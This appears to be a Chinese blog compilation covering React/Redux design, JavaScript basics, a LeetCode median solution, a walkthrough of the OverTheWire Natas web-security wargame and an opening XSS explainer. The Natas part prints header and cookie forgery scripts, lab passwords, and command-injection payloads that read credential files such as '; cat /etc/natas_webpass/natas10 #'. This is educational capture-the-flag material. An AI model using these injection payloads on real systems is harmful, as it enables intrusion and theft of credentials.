react-redux绑定库是基于容器组件和展示组件分离的开发思想，是react开发中非常重要的一个思想。

详细介绍可以查看本文

#展示组件和容器组件对比

进行组件分离的好处

1.更好地分散注意力。通过这样写组件能更好地理解你的 app 和 UI。

2.更好地重用。你可以使用同样的表式组件配合完全不同的状态源，并在未来重用这些分离的容器组件。

3.展示组件对你 APP 的“调色”是很有必要的。你可以把它们放在单页里，并让设计师在不触碰逻辑的情况下自由地调整配色。

4.这强迫你抽出类似于：Sidebar，Page，ContextMenu，这样的布局组件并使用 this.props.children 而不是重复在几个容器组件中同样的标记和布局。

#什么时候该引入容器组件？

我建议你一开始只使用展示组件来构建你的APP。最终你将意识到你传递了太多 props 给中间的组件。当你意识到有些组件并没有用到它们接收的 props，而只是将这些 props向下传递。在底层的组件需要更多数据时，你不得不重写所有这些中间组件，这时候就很适合引入容器组件了。通过这种方式，你可以将 props 传递给叶子节点而不增加和它无关的中层组件的负担。

提示

不要把展示组件和容器组件的划分当做教条。有些时候甚至无关紧要。如果你不确定一个组件是该定义成展示组件还是容器组件，也许是区分得太早了，不用担心。

一、React 技术栈

所有的软件都构建在一系列的技术栈上，你需要足够理解构建你 app 的技术栈。React 的技术栈看起来很庞大的原因在于它总是被按照错误的顺序解释了。
你应该按下列的顺序来学习，不要跳过或者同时学习它们：

• React 基础
• npm
• JavaScript “bundlers”(webpack)
• ES6
• Routing
• Flux

你不需要一次性学完它们。仅仅在遇到需要解决的问题时进行下一步的学习。
额外地，有一些经常在 React 社区中被提及的前沿技术，它们非常有趣，但很难理解。和上面的主题比起来没有那么受欢迎并且在大部分 app 开发中也用不上。

• Inline styles
• Server rendering
• Immutable.js
• Relay, Falcor, etc

二、React 只是一个视图库

React 不是 MVC 框架，也不同于其他任何框架。它只是一个用来渲染你视图的库。如果你来自 MVC 的世界，你需要意识到 React 只是’V’，且是部分等于。你需要在其他地方找到你的 ‘M’ 和 ‘C’。不然你终将会在令人生厌的 React 代码前止步。

三、让组件尽可能的小

这点是显而易见的，但也值得讨论。每一个优秀的开发者都知道小的类或模块更容易理解，测试和维护。对于 React 组件来说也是一样。在开始使用 React 时会有一个疑问，那就是我的组件到底该要多小？显然，确定的尺寸取决于很多因素（包括你和你的团队成员的偏好），但通常我的建议是让你的组件比你认为的还要小很多。比如下面这个用于展示我最近博客推送的组件：

1
2
3
4
5
6
7
8

const LatestPostsComponent = props => (
  <section>
    <div><h1>Latest posts</h1></div>
    <div>
      { props.posts.map(post => <PostPreview key={post.slug} post={post}/>) }
    </div>
  </section>
);

这个组件本身是一个 <section>，仅有2个<div>在里面。第一个是标题，第二个映射了一些数据，为每一个元素渲染了 <PostPreview>。我认为这是一个组件适合的尺寸。

四、写函数组件

之前有定义 React 组件有两种选择，第一种是 React.createClass():

1
2
3
4
5

const MyComponent = React.createClass({
  render: function() {
    return <div className={this.props.className}/>;
  }
});

另一种是 ES6 的类：

1
2
3
4
5

class MyComponent extends React.Component {
  render() {
    return <div className={this.props.className}/>;
  }
}

React 0.14 引入了寻得定义组件的语法：

1
2
3

const MyComponent = props => (
  <div className={props.className}/>
);

这是至今我最喜欢的定义 React 组件的方法。除了更加简洁的语法，这种方法对组件需要被分离时很有帮助。让我们看一个例子，假设我们没有进行组件分离：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

class LatestPostsComponent extends React.Component {
  render() {
    const postPreviews = renderPostPreviews();

    return (
      <section>
        <div><h1>Latest posts</h1></div>
        <div>
          { postPreviews }
        </div>
      </section>
    );
  }

  renderPostPreviews() {
    return this.props.posts.map(post => this.renderPostPreview(post));
  }

  renderPostPreview(post) {
    return (
      <article>
        <h3><a href={`/post/${post.slug}`}>{post.title}</a></h3>
        <time pubdate><em>{post.posted}</em></time>
        <div>
          <span>{post.blurb}</span>
          <a href={`/post/${post.slug}`}>Read more...</a>
        </div>
      </article>
    );
  }
}

这种写法并不是很糟糕。我们已经从 render() 方法中抽取了大量方法，并保证每一块代码都尽可能小并很好地命名。我们已经将 renderPostPreviews()方法封装地足够好了。让我们使用函数语法重写这段代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

const LatestPostsComponent = props => {
  const postPreviews = renderPostPreviews(props.posts);

  return (
    <section>
      <div><h1>Latest posts</h1></div>
      <div>
        { postPreviews }
      </div>
    </section>
  );
};

const renderPostPreviews = posts => (
  posts.map(post => this.renderPostPreview(post))
);

const renderPostPreview = post => (
  <article>
    <h3><a href={`/post/${post.slug}`}>{post.title}</a></h3>
    <time pubdate><em>{post.posted}</em></time>
    <div>
      <span>{post.blurb}</span>
      <a href={`/post/${post.slug}`}>Read more...</a>
    </div>
  </article>
);

两段段代码几乎一致，只是后面的没有了类的声明。然而对我来说这是很大的区别。在基于类的例子中，我会看到 class LatestPostsComponent { ，并自然地向下扫直到大花括号，也就是类定义结束的地方，也是组件定义结束的地方。而当我看函数组件时，，我看到const LatestPostsComponent = props => { ，仅仅扫到函数定义结束的地方。“函数定义在这里结束了，所以组件定义也结束了”。我这样想着，“但是等等，其他在组件外且在同一模块下的代码呢？哦！！这是其它用于获取数据和渲染视图的函数，我可以将它们全部提取到一个组件中。”
这是一种让人非常舒服的，让人遵守“让组件尽可能小”的方式。
在未来会有对 React 的进一步优化，这会让函数组件比基于类的组件更加高效。
值得注意的是函数组件有一些’限制’，我认为这让它变得更强大。第一点是函数组件无法赋予 ref 属性。ref是组件查询子节点并与之通讯的便捷的方式，而我却觉得这是写 React 代码的一种错误方式。ref鼓励一种非常命令式地，类似于 jquery 的方式来写组件，把我们带离了最初选择 React 的函数式的，单向数据流的哲学。
另一点是函数组件没有与之相关联的 state，这也是一个非常大的优点。

五、写无状态组件

可以这么说，至今为止我写 React 代码的几乎所有痛苦都来自于组件有太多的状态。
状态让组件很难测试
实践表明，没有什么比测试纯粹的、data-in data-out 函数更容易的了，所以我们不要为组件定义那么多状态。当测试有状态的组件时，我们需要让组件进入“合适”的状态以测试它们的行为。我们同样需要考虑所有状态（组件可以在任何时候被修改）和属性（组件无法控制）的组合，并决定测试哪一个。当组件只是输入属性的函数时，测试会变得简单许多。
状态使得在组件中添加业务代码变得很容易
让组件来决定程序的行为是我们在任何情况下都不应该考虑的。记住，React 只是一个视图库，在组件中写渲染逻辑是没问题的，但不能写业务逻辑（业务逻辑意味着大量代码）。但是当你的组件中有大量应用程序的状态并且可以轻易地通过 this.state访问时，你就会不自觉地将计算或者验证类的代码写入组件。这会让测试的工作变得非常困难。
状态使得在 app 的其他部分共享信息变得困难
当一个组件有一些状态时，它很容易在组件间传递状态，但向其它方向传递会变得很棘手。

六、使用 Redux.js

React 是一个视图库，那么问题来了：“我在哪里放我的状态和逻辑呢？”
没错， Redux.js 可以替你做这些。下面是 React 的工作流程：
1.组件被给予了用做回调函数的属性，在 UI 事件触发时调用。
2.这些回调函数根据事件来创建并分发动作(action)。
3.reducer执行动作，并计算新的状态。
4.整个应用得新的状态将会保存在 single store。
5.组件接受新的状态并在它们必要时重新渲染。
Redux 的几点好处：

• reducer 是纯函数，简单地执行 oldState + action = newState。每一个 reducer 计算一部分状态并将它们组合到一起生成整个应用。这使得你的业务逻辑和状态变换很容易测试。
• API 很小，很简单并且很好文档化。我可以迅速地进行查找并很容易学习全部的原理，之后就能更容易理解我的工程的动作和信息流。
• 如果你按推荐的方式使用它，仅仅只有很少的一部分组件需要依赖 Redux。其他组件只需要接受属性。这使得组件很简单。
  还有一些用于补充 Redux 的库如下：
• Immutable.js - 用于 JavaScript 的不可变数据结构。将你的状态保存在这里，使得状态在它不应该被改变的时候不改变，并确保 reducer 的纯净。
• redux-thunk - 用于你的动作不改变状态的时候。例如：调用一个 REST API 或者设置路由，或者分发其他动作。

七、总是使用 propTypes

propTypes 为我们提供了一种非常容易的方式来为组件更安全地添加类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

const ListOfNumbers = props => (
  <ol className={props.className}>
    {
      props.numbers.map(number => (
        <li>{number}</li>)
      )
    }
  </ol>
);

ListOfNumbers.propTypes = {
  className: React.PropTypes.string.isRequired,
  numbers: React.PropTypes.arrayOf(React.PropTypes.number)
};

它有一下几点好处：

• 更容易捕获 bugs，以避免愚蠢的错误。
• 如果你使用 isRequired，你就不必总是检查 undefined 和null。
• 它类似于文档，其他开发者就不必看完整个组件来看属性是否必须了。

八、使用 React 和 Redux dev tools

React 和 Redux dev tools 都是非常棒的工具。React dev tool 是你能够查阅已经渲染的 React 元素树，这对于查看浏览器中的视图很有帮助。Redux dev tool 更加出色，使你能查看发生的每一个动作，以及动作造成的状态改变，甚至给你能够回溯的能力。
你也可以设置热模块来替代 webpack,使你的页面在你的代码改变时就更新-不需要浏览器主动刷新。这使得反馈循环更加地高效。

JavaScript摘要

1.基本数据类型

JavaScript的基本构建块包括：对象(object)、原语(primitive)和字面量(literal)。

literal 表示特定类型的一个值，例如：String, Number, or Boolean。

1
2
3

"this is a string"
1.45
true

Primitive 是一个特定数据类型的实例，包括五种：String, Number, Boolean, null, undefined。

JavaScript 的世界中，一切皆对象（object）。

2.基本语法

函数声明:

1
2
3
4
5

function distance(x1, y1, x2, y2) {
	var dx = x2 - x1;
	var dy = y2 - y1;
	return Math.sqrt(dx*dx + dy*dy);
}

条件语句：

1
2
3
4
5
6
7

if (x <= 1){ 
	return 1; 
}else{ 
	return x*fact(x-1);
}

if (this.length == 0) return this;

循环语句：

1
2
3
4
5
6
7
8
9
10
11

for(i=0;i<10;i++){
	tst+=i; 
}

for (var i in obj) {
    result += obj_name + "." + i + " = " + obj[i] + "<br>";
  }

while((matchArray = pattern.exec(searchString)) != null) {
str+="at " + matchArray.index + " we found " + matchArray[0] + "\n";
    }

3.数组

创建数组：

1
2
3

var arr = new Array(element0, element1, ..., elementN);
var arr = Array(element0, element1, ..., elementN);
var arr = [element0, element1, ..., elementN];

填充数组：

1
2
3
4
5
6
7
8

var emp = [];
emp[0] = "Casey Jones";
emp[1] = "Phil Lesh";
emp[2] = "August West";
var arr = [];
arr[3.4] = "Oranges";
console.log(arr.length);                // 0
console.log(arr.hasOwnProperty(3.4));   // true

如果你在以上代码中给数组操作符的是一个非整形数值，那么将作为一个代表数组的对象的属性(property)创建，而非作为数组的元素。

引用数组元素：

1
2
3

var arr = ["one", "two", "three"];
arr[2];  // three
arr["length"];  // 3

数组操作符（方括号 [ ]）也可以用来访问数组的属性(在 JavaScript 中，数组也是对象)。

遍历数组：

1
2
3
4
5
6
7
8
9

var colors = ['red', 'green', 'blue'];
for (var i = 0; i < colors.length; i++) {
  console.log(colors[i]);
}

var colors = ['red', 'green', 'blue'];
colors.forEach(function(color) {
  console.log(color);
});

数组对象的方法：

concat() 连接两个数组并返回一个新的数组。

join(deliminator = ',') 将数组的所有元素连接成一个字符串。

push() 在数组末尾添加一个或多个元素，并返回数组操作后的长度。

pop() 从数组移出最后一个元素，并返回该元素。

shift() 从数组移出第一个元素，并返回该元素。

4.集合类

Map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

var sayings = new Map();
sayings.set('dog', 'woof');
sayings.set('cat', 'meow');
sayings.set('elephant', 'toot');
sayings.size; // 3
sayings.get('fox'); // undefined
sayings.has('bird'); // false
sayings.delete('dog');
sayings.has('dog'); // false

for (var [key, value] of sayings) {
  console.log(key + ' goes ' + value);
}
// "cat goes meow"
// "elephant goes toot"

sayings.clear();
sayings.size; // 0

Map和Object的比较：

一般地，objects会被用于将字符串类型映射到数值。Object允许设置键值对、根据键获取值、删除键、检测某个键是否存在。而Map具有更多的优势。

• Object的键均为Strings类型，在Map里键可以是任意类型。
• 必须手动计算Object的尺寸，但是可以很容易地获取使用Map的尺寸。
• Map的遍历遵循元素的插入顺序。
• Object有原型，所以映射中有一些缺省的键。（可以理解为map = Object.create(null)）。

Set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

var mySet = new Set();
mySet.add(1);
mySet.add("some text");
mySet.add("foo");

mySet.has(1); // true
mySet.delete("foo");
mySet.size; // 2

for (let item of mySet) console.log(item);
// 1
// "some text"
# Array 和 Set的转换
Array.from(mySet);
[...mySet2];

mySet2 = new Set([1,2,3,4]);

Array和Set的对比：

一般情况下，在JavaScript中使用数组来存储一组元素，而新的集合对象有这些优势：

• 数组中用于判断元素是否存在的indexOf 函数效率低下。
• Set对象允许根据值删除元素，而数组中必须使用基于下标的 splice 方法。
• 数组的indexOf方法无法找到NaN值。
• Set对象存储不重复的值，所以不需要手动处理包含重复值的情况。

5.字符串

String 字面量

1
2

'foo'
"bar"

String对象

String对象是对 String 类型的封装。

1
2
3

var s = new String("foo"); // Creates a String object
console.log(s); // Displays: { '0': 'f', '1': 'o', '2': 'o'}
typeof s; // Returns 'object'

模板字符串

1
2
3
4
5

var a = 5;
var b = 10;
console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);
// "Fifteen is 15 and
// not 20."

6.面向对象

基于类VS基于原型的语言

基于类的面向对象语言，比如 Java 和 C++，是构建在两个不同实体的概念之上的：即类和实例。

• 类可以定义属性，这些属性可使特定的对象集合特征化（可以将 Java 中的方法和变量以及 C++ 中的成员都视作属性）。类是抽象的，而不是其所描述的对象集合中的任何特定的个体。例如 Employee 类可以用来表示所有雇员的集合。
• 另一方面，一个实例是一个类的实例化；也就是其中一名成员。例如， Victoria 可以是 Employee 类的一个实例，表示一个特定的雇员个体。实例具有和其父类完全一致的属性。

基于原型的语言（如 JavaScript）并不存在这种区别：它只有对象。基于原型的语言具有所谓原型对象的概念。原型对象可以作为一个模板，新对象可以从中获得原始的属性。任何对象都可以指定其自身的属性，既可以是创建时也可以在运行时创建。而且，任何对象都可以作为另一个对象的原型，从而允许后者共享前者的属性。

差异总结

1. 首先了解该语言的基本数据类型，基本语法和主要语言构造，主要数学运算符和print函数的使用，达到能够写谭浩强程序设计书课后数学习题的程度；
2. 其次掌握数组和其他集合类的使用，有基础的话可以理解一下泛型，如果理解不了也问题不大，后面可以补；
3. 简单字符串处理。所谓简单，就是Regex和Parser以下的内容，什么查找替换，截断去字串之类的。不过这个阶段有一个难点，就是字符编码问题。如果理解不了，可以先跳过，否则的话最好在这时候把这个问题搞定，免留后患；
4. 基本面向对象或者函数式编程的特征，无非是什么继承、多态、Lambda函数之类的，如果有经验的话很快就明白了；
5. 异常、错误处理、断言、日志和调试支持，对单元测试的支持。你不一定要用TDD，但是在这个时候应该掌握在这个语言里做TDD的基本技能；
6. 程序代码和可执行代码的组织机制，运行时模块加载、符号查找机制，这是初学时的一个难点，因为大部分书都不太注意介绍这个极为重要的内容；
7. 基本输入输出和文件处理，输入输出流类的组织，这通常是比较繁琐的一部分，可以提纲挈领学一下，搞清楚概念，用到的时候查就是了。到这个阶段可以写大部分控制台应用了；
8. 该语言如何进行callback方法调用，如何支持事件驱动编程模型。在现代编程环境下，这个问题是涉及开发思想的一个核心问题，几乎每种语言在这里都会用足功夫，.NET的delegate，Java的anonymous inner class，Java 7的closure，C++OX的 tr1::function/bind，五花八门。如果能彻底理解这个问题，不但程序就不至于写得太走样，而且对该语言的设计思路也能有比较好的认识；
9. 如果有必要，可在这时研究regex和XML处理问题，如无必要可跳过；
10. 序列化和反序列化，掌握一下缺省的机制就可以了；
11. 如果必要，可了解一下线程、并发和异步调用机制，主要是为了读懂别人的代码，如果自己要写这类代码，必须专门花时间严肃认真系统地学习，严禁半桶水上阵；
12. 动态编程，反射和元数据编程，数据和程序之间的相互转化机制，运行时编译和执行的机制，有抱负的开发者在这块可以多下些功夫，能够使你对语言的认识高出一个层面；
13. 如果有必要，可研究一下该语言对于泛型的支持，不必花太多时间，只要能使用现成的泛型集合和泛型函数就可以了，可在以后闲暇时抽时间系统学习。需要注意的是，泛型技术跟多线程技术一样，用不好就成为万恶之源，必须系统学习，谨慎使用，否则不如不学不用；
14. 如果还有时间，最好咨询一下有经验的人，看看这个语言较常用的特色features是什么，如果之前没学过，应当补一下。比如Ruby的block interator, Java的dynamic proxy，C# 3的LINQ和extension method。没时间的话，我认为也可以边做边学，没有大问题。
15. 有必要的话，在工作的闲暇时间，可以着重考察两个问题，第一，这个语言有哪些惯用法和模式，第二，这个语言的编译/解释执行机制。

4.Median of Two Sorted Arrays

描述

有两个排序的数组 nums1 和nums2，它们的大小分别是 m 和 n。

找到两个排序数组的中值。程序的时间复杂度为 O(log(m+n))。

你可以认为 nums1和 nums2 不会同时为空。

Example 1:

1
2
3
4

nums1 = [1, 3]
nums2 = [2]

The median is 2.0

Example 2:

1
2
3
4

nums1 = [1, 2]
nums2 = [3, 4]

The median is (2 + 3)/2 = 2.5

方法

为了解决这个问题，我们需要明白“中值可以用来做什么”。在统计学里，中值被用来：

将一个集合划分成两个等长的子集，其中一个子集的元素总是比另一个大。

如果我们理解了划分中值的意义，我们就可以很好地理解答案了。

首先将 nums1 在随机位置 i 分成两部分：

1
2
3

			left_nums1       		|          right_nums1

nums1[0], nums1[1], ..., nums1[i-1] | nums1[i], nums1[i+1], ..., nums1[m-1]

因为 nums1 有 m 个元素，所以有 m+1 种划分法(i = 0~m)。

而且我们知道：

len(left_nums1) = i, len(right_nums1) = m - i.

Note: when i = 0, left_nums1 is empty, and when i = m, right_A is empty.

同样的，将 nums2 在随机位置 j 分成两部分：

1
2

	left_nums2							|		right_nums2
nums2[0], nums2[1], ..., nums2[j-1]		|	nums2[j], nums2[j+1], ..., nums2[n-1]

将 left_nums1和 left_nums2 放在一个集合并将 right_nums1和 right_nums1放在另一个集合。让我们命名为 left_part 和 right_part：

1
2
3

	left_part							|		right_part
nums1[0], nums1[1], ..., nums1[i-1]		|	nums1[i], nums1[i+1], ..., nums2[n-1]
nums2[0], nums2[1], ..., nums2[j-1]		|	nums2[j], nums2[j+1], ..., nums2[n-1]

我们可以确定：

1.len(left_part) = len(right_part)

2.max(left_part) <= min(right_part)

之后我们划分所有在 {nums1, nums2} 的元素到两个等长的集合，其中一个集合的元素总是比另一个大。

$median = \frac{max(left_part)+min(right_part)}{2}$

为了确保这两个条件，我们需要保证：

1.i+j = m - i + n - j (or: m - i + n - j + 1)

if n >= m, we just need to set: i = 0~m, j = (m+n+1)/2 -i

2.nums2[j-1] <= nums1[i] and nums1[i-1] <= nums2[j]

ps.1 为了简化，我假设 nums1[i-1], nums2[j-1], nums1[i], nums2[j] 总是合法的，即使出现 i=0, i=m, j=0, j=m 的情况。我将会在最后讨论边界情况。

ps.2 为什么需要 n>=m ？因为我必须确保 j 为非负数，因为 0<=i<=m, j=(m+n+1)/2。如果 n < m，j 会是负数，导致错误的结果。

在 [0,m]中搜索 i，找到满足以下条件的 i:

​ nums2[j-1] <= nums1[i] and nums1[i-1] <= nums2[j], where j = (m+n+1)/2 -i

具体的流程如下：

1.设置 imin = 0, imax = m, 开始在 [imin, imax] 中搜索。

2.设置 i = (imin+imax)/2, j = (m+n+1)/2 - i

3.现在满足条件 len(left_part) = len(right_part)。我们可能会遇到下列三种情况：

• nums2[j-1] <= nums1[i] and nums1[i-1] <= nums2[j]

  表明我们已经找到了满足条件的 i ，停止搜索。

• nums2[j-1] > nums1[i]

  表明nums1[i] 太小了。我们需要修改 i 来使 nums2[j-1] <= nums1[i]。我们只能通过增加 i 来达到目的，因为减少 i 会使得 j 增大，导致 nums1[i] 更小。调整搜索范围到[i+1, imax]，即令 imin = i + 1，跳转到 2.

• nums1[i-1]>nums2[j]

  表明 nums1[i-1] 太大了。我们必须减少 i 来使 nums1[i-1] <= nums2[j]。调整搜索范围到 [imin, i-1]，即令 imax = i - 1，跳转到2.

当满足条件的 i 被找到后，中值即为：

max(nums1[i-1], nums2[j-1]), when m+n is odd

max(nums1[i-1], nums2[j-1]+min(nums1[i], nums2[j]))/2, when m+n is even

现在我们可以考虑边界情况了：i=0, i=m, j=0, j=m。这种情况比你想象中的要好处理。

我们需要做的就是确保 max(left_part) <= min(right_part)。所以，如果 i 和 j 不是边界值，我们必须同时检查nums2[j-1] <= nums1[i] 和 nums1[i-1] <= nums2[j]。但是如果 nums1[i-1], nums2[j-1], nums1[i], nums2[j] 中的一些值不存在，我们就不必检查这两种情况。例如，如果 i = 0， 那么 nums1[i-1] 不存在，我们就不需要检查 nums1[i-1] <= nums2[j]。所以，我们需要做的是：

1
2
3

searching i in [0,m], to find an object i such that:
(j = 0 or i = m or nums2[j-1] <= nums1[i]) and
(i = 0 or j = n or nums1[i-1] <= nums2[j], where j = (m+n+1)/2 -i)

所以我们只需要考虑以下三种情况：

1
2
3
4
5
6
7

1.(j=0 or i=m or nums2[j-1]<=nums1[i]) and
  (i=0 or j=n or nums1[i-1]<=nums2[j])
  Means i is perfect, we can stop searching
2.j>0 and i<m and nums2[j-1] > nums1[i]
  Means i is too small, we must increase it
3.i>0 and j<n and nums1[i-1] > nums2[j]
  Means i is too big, we must decrease it

Python代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

class Solution(object):
    def findMedianSortedArrays(self, nums1, nums2):
        """
        :type nums1: List[int]
        :type nums2: List[int]
        :rtype: float
        """
        m, n = len(nums1), len(nums2)
        if m > n:
            m, n, nums1, nums2 = n, m, nums2, nums1
        if n < 0:
            raise ValueError
        imin, imax, half_len = 0, m, (m+n+1) / 2
        
        while imin <= imax:
            i = (imin+imax) / 2
            j = half_len - i
            if i > 0 and nums1[i-1] > nums2[j]:
                imax = i - 1
            elif i < m and nums2[j-1] > nums1[i]:
                imin = i + 1
            else:
                if i == 0: max_left = nums2[j-1]
                elif j == 0: max_left = nums1[i-1]
                else: max_left = max(nums1[i-1], nums2[j-1])
                
                if (m+n) % 2 == 1:
                    return max_left
                if i == m: min_right = nums2[j]
                elif j == n: min_right = nums1[i]
                else: min_right = min(nums1[i], nums2[j])
                
                return (min_right+max_left) / 2.0

复杂度分析

• 时间复杂度：O(log(min(m, n)))。

首先，搜索范围是 [0, m]。搜索的长度将会在每次循环后降低一半。所以我们仅仅需要 log(m) 次循环。因为我们在每次循环中做类似的操作，所以时间复杂度是 O(log(m))。而 m <= n，所以时间复杂度是 O(log(min(m, n)))。

• 空间复杂度：O(1)。

我们仅仅需要常数级的内存来存储9个局部变量，所以空间复杂度是 O(1)。

#Natas

Natas是wargame 系列挑战中的第二个系列，是关于 Web 安全的一个专题，通过这个专题基本可以了解到 web 安全中主要的问题，非常适合初学者入门 Web 安全。所有的挑战都可以通过浏览器网页登入，需要在当前关卡中获得进入下一关的密码来继续挑战，和 Bandit 的形式类似。

Level 0→1

在网页处右键“查看源代码”将会展示源代码。底部的注释中有到 “natas1” 的密码。

1 2	>gtVrDuiDfck831PqWsLEZy5gyDz1clto >

Level 1→2

和上一关一样，右键查看源码即可得到下一关的密码。

1 2	>ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi >

Level 2→3

查看源码将会显示一个有 png 文件的文件夹。前往文件夹我们就能发现另一个文件 users.txt 。在 users.txt 里包含下一关的密码。

1 2	>sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 >

Level 3→4

robots.txt 是一个告诉 google 不要索引哪些文件夹的文件。

在 robots.txt 中，它会不允许索引 /s3cr3t/ 。进入该目录，发现 user.txt 里包含下一关的密码。

1 2	>Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ >

Level 4→5

错误信息表明任何访问该页面的用户必须来自’natas5’。所以我们可以修改 headers，伪造一份来自 ‘natas5’ 的请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

import requests
import re

username = 'natas4'
password = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ'

headers = { "Referer" :  "http://natas5.natas.labs.overthewire.org/"}

url = 'http://%s.natas.labs.overthewire.org/' % username

response = requests.get(url, auth=(username, password), headers=headers)
content = response.text

print content

1 2	>iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq >

Level 5→6

通过 chrome 自带的调试工具或者直接用 python 脚本可以查看网站返回的包。发现其中的 cookie 有一个变量 ‘loggedin’ 值为0.我们将其设为1后再次请求就可以得到下一关的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

import requests
import re

username = 'natas5'
password = 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq'

cookies = {"loggedin" : "1" }
url = 'http://%s.natas.labs.overthewire.org/' % username

session = requests.Session()

response = session.get(url, auth=(username, password), cookies=cookies)
content

print content
print re.findall('natas6 is (.*)</div>', content)[0]

1 2	>aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 >

Level 6→7

查看页面的源码，发现需要提交正确的秘钥才能获得下一关的密码，而一个文件被包含在 /includes/secret.inc 中。打开这个文件找到正确的秘钥并提交表单即可获得下一关的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import requests
import re

username = 'natas6'
password = 'aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1'

url = 'http://%s.natas.labs.overthewire.org' % username

session = requests.Session()

response = session.post(url, auth=(username, password), data={"secret" : "FOEIUWGHFEEUHOFUOIU", "submit" : "submit"})
content = response.text


print content
print re.findall('natas7 is (.*)', content)[0]

​ 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9》

Level 7→8

查看页面源码时，发现一条线索说密码在 /etc/natas_webpass/natas8 中。改变浏览器的路径为 /etc/natas_webpass/natas8 即可得到下一关的密码。

1 2	>DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe >

Level 8→9

在源码页面，我们可以看到 php 函数代码给了我们一些需要输入的秘钥的信息。从 \$_POST(‘secret’)中我们可以看到需要传入的与 \$encodedSecret 比较的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

之后我们就可以逆向调用在 encodeSecret 中使用的函数，通过创建和运行下列命令，我们就获得了纯文本的秘钥。

1

base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c3156 69563362")))

解码得到的结果为 oubWYf2kBq。使用该秘钥提交表单即可得到下一关的密码。

1 2	>W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl >

Level 9→10

查看网页源码，我们可以发现将要查询的是 \$key。如果 \$key 非空，将在 dictionary.txt 中查询并返回任何包含 \$key 的内容。

1
2
3
4
5
6
7
8
9
10
11

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
 $key = $_REQUEST["needle"];
}

if($key != "") {
 passthru("grep -i $key dictionary.txt");
}
?>

在注入中，\$key 没有被过滤并能在命令行中使用。因此我们可以注入额外的命令。我们已知的是 ‘natas10’ 的密码保存在 /etc/natas_webpass/natas10 中。在命令行中，我们可以用cat 来查看文件内容。另一件需要知道的是在一行中执行多条命令（; 或 &&）。最后不要忘了注释掉后面的命令。

1

; cat /etc/natas_webpass/natas10 #

执行后，就可以得到下一关的密码。

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Level 10→11

和上一关类似，不过我们不能使用’;’,’|’和’&’。但仍能利用类似的注入攻击。我们可以使用 grep 匹配密码文件中的任意字符来获得下一关的密码。为了能匹配任意字符，我们使用’.’通配符并用 ‘#’注释掉后面的内容。

1

. /etc/natas_webpass/natas11 #

得到下一关的密码。

1

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

###

###

一、XSS 概述

什么是XSS？

Cross-site scripting(XSS)是一种能够在他人浏览器中执行恶意 JavaScript代码的代码注入攻击。

攻击者不需要直接接触受害者。他可以直接利用受害者访问的网站的漏洞来让恶意代码在其浏览器中执行。对于受害者的浏览器来说，恶意的 JavaScript 代码表现的就像是网站合法的一部分，而网站的行为也完全不像是攻击者的帮凶。

恶意的 JavaScript 代码是如何被注入的？

让攻击者能在受害者浏览器上运行恶意代码的唯一方式就是在受害者要访问的网站中的某一个页面里注入代码。这会发生在网站直接在它的页面中包含加载了用户输入，这样攻击者就可以在页面中插入字符串，这段字符串会被受害者的浏览器当做代码执行。

在下面的例子中，一个简单的服务器脚本被用来展示网站上最新的评论：

1
2
3
4

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

这段脚本假设评论仅包含文本。然而，用户输入被直接加载了，攻击者可以提交这样的评论：<script>...<script>。任何用户访问页面都会接收到下列回应：

1
2
3
4

<html>
Latest comment:
<script>...</script>
</html>

当用户浏览器加载了页面后，它将执行包含在<script> 标签中的任意 JavaScript 脚本。攻击者已经成功地实施了攻击。

什么是恶意 JavaScript 脚本？

起初，能在受害者的浏览器中执行 JavaScript 脚本看起来并不是那么恶意。毕竟 JavaScript 运行在一个及其受限的环境，很难访问用户文件和操作系统。事实上，你可以打开你的浏览器的控制台（console）并执行任何 JavaScript 代码，你会发现你很难对你的计算机造成什么实质的损害。

然而，JavaScript 代码也是有可能变得很有恶意的，尤其是当你考虑下列情况时：

• JavaScript 代码访问了一些用户敏感信息，例如：cookies。
• JavaScript 代码可以使用 XMLHttpRequest和其他机制来发送包含任何内容的 HTTP 请求到任意目的地。
• JavaScript 代码可以通过使用 DOM 操作来对当前页面的 HTML 文件做任意修改。

这些情况组合在一起会导致非常严重的安全问题，也是我接下来会解释的。

恶意 JavaScript 脚本带来的后果

在其他用户的浏览器上执行任意 JavaScript 代码允许攻击者实施下列攻击：

• Cookie 剽窃：攻击者可以使用document.cookie 来访问受害者与网站相关的 cookies，将它们发送到自己的服务器，并用它们来获取像 session IDs 之类的敏感信息。
